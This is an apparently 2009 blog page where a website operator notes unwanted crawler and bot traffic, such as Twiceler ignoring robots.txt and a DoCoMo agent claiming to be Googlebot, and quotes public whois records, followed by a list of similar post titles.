Getting a bunch of closed channel exceptions (http://java.sun.com/j2se/1.5.0/docs/api/java/nio/channels/ClosedChannelException.html) from this IP in Florida: 32.156.248.113OrgName: AT&T Global Network Services, LLC OrgID: ATGSAddress: 3200 Lake Emma RoadCity: Lake MaryStateProv: FLPostalCode: 32746Country: USNetRange: 32.0.0.0 - 32.255.255.255 Not sure why we get a series

GingerCrawler

2009-05-29T21:32:00.000-07:00

GingerCrawler was hitting out sites today. Apparently something to do with collecting information about the English language to help people with dyslexia. Aren't there enough books and documents available to help with this that would not require crawling the Internet and web pages? Not sure I get this but anyway it's more traffic on our sites we don't need as far as I can tell.

DoCoMo - calling itself a Googlebot

2009-05-29T21:26:00.001-07:00

This is interesting - getting hits from user agent DoCoMo which is listing itself as a Googlebot:DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)I looked it up and is in fact on the Google network:OrgName: Google Inc. OrgID: GOGLAddress: 1600 Amphitheatre ParkwayCity: Mountain ViewStateProv: CAPostalCode: 94043Country:

twiceler

2009-05-29T21:21:00.000-07:00

The Twiceler robot is not obeying robots.txt file.This bot repeatedly hits our web sites when we have listed in each one in the robots.txt file that they should go stay off our sites.Additionally when I went to the link below - it says page not found. Bad bot all around!http://www.cuil.com/twiceler/robot.htmIt's coming from that same old repeat offender network that starts with the number 38 --

ru_com_viewer larbin2.6.3@unspecified.mail

2009-05-29T21:17:00.000-07:00

Seeing a new bot in the logs: ru_com_viewer I can only guess that this is something that fetches pages for viewing by Russian users based on "ru" but that's only a guess.This bot is using the larbin web crawler. We'll see if they obey robots.txt or not.Coming from Vrtservers network:OrgName: Vrtservers, Inc OrgID: VRTSEAddress: 801 S. Grand Ave #1204City: Los AngelesStateProv:

Intega Telecom - More strange traffic

2009-05-28T21:02:00.000-07:00

458 hits on the same image gif today by this IP address: 68.178.4.202 which is in the Integra Telecom network in Oregon:OrgName: Integra Telecom, Inc. OrgID: ITCMAddress: 1201 NE LloydAddress: Suite 500City: PortlandStateProv: ORPostalCode: 97232Country: USReferralServer: rwhois://whois.integraonline.com:43NetRange: 68.178.0.0 - 68.178.127.255 Not sure why we get so much

Random Internet Connections

Googlebot imposter

Googlebot imposter - qwest

Googlebot imposter - Scanning for Word Press

Google Imposter

Bad Headers - Malware, Plugin or?

Norton Online Backup

Errors Trying to Use Windows Update

Bad Traffic - Monitoring (ripping off?) our sites

Bad Traffic from Korea

Problems with AT&T Modem Disconnecting

Strange Traffic in Logs - a bunch from Canada

Mining Tax Shelter

Strange referrer - stream://1/ - speakeasy network

Bad Traffic - Hurricane Electric (again)

Weird Job Proposals from Mary Kay

Norton Online Backup - Not Good

GoDaddy Hacking - Same as my last post

Dow Jones-Telerate: Copying our Web Site?

Old Browsers in Logs - Hackers

Microsoft Office 2007 is crap.

Slicehost - Bad Traffic

ThePlanet.com - bad traffic

Amazon cloud traffic

Google Imposter

ValueWeb and DomainPeople

AOL Proxy Cache

More PHP Hacker Traffic

CFNetwork

Followsite on softlayer - misbehaving

Wowrack - unidentified traffic

Internode - Excessive traffic

hacker - phpadmin

123people dot com is stealing content

.Net Framework hitting sites

lwp-trivial

Dragonfly User Agent

Clearwire Billing Issues

Amazon cloud once again...

MCI / Proxy IT - bad traffic

Bot out of University of Toronto

University Santa Cruz - WGet hackers

Colin-Miller - hitting our sites with Java

Programmatic traffic from eNet / XLHost

Managed Solutions Group - Malware

Twiceler - still doesn't obey robots.txt

Problem with MS Terminal Services / VPN

Service Provider Corporation

123People - illegal scraping and reposting of content

Embarq Corporation - Malformed web requests

XLHost - Trying to access our sites progammatically

Bad requests - Verizon

Strange requests / odd headers

author.dll

Alaska Communications Group

Turnitin Bot - Odd behavior

SuperPages Bot - Bogus Requests?

Suspicious Login Activity

AT&T Wireless - Reports people in Florida when Not

Mail.Ru/1.0 not obeying Robots.txt

GoogleImageBot - Annoying

Comodo - unwanted traffic

FollowSite Bot

AOL Hacker

Websense

Bad request - Pocketinet

Strange traffic - related?

SuperPages bot traffic

MSR-ISRCCrawler not obeying robots.txt

Cogentco - bad traffic again.

Today's Robot.txt file

FollowSiteBot

uberbot - misbehaving

Today's Bot Traffic - a lot of Twitter Referrals

Twitturly - bad bot on Amazon network

LocalBot not checking Robots.txt

Tons of hits from 204.16.231.98 - Sparkplug, Inc.

VeriSign - unwanted traffic

Norton - Update Not Working?

Adobe Acrobat Reader - Update Not Working?